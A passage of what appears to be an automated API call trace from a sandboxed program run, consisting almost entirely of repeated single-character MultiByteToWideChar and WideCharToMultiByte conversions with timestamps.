lpUsedDefaultChar=0x0) returned 1 [0048.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.663] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.663] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.663] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.663] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.663] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.663] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.664] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.664] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.664] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.664] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.664] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.664] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.666] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.666] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.666] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.666] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.666] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.666] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.667] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.667] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.667] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.667] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.667] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.667] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.667] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.668] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", 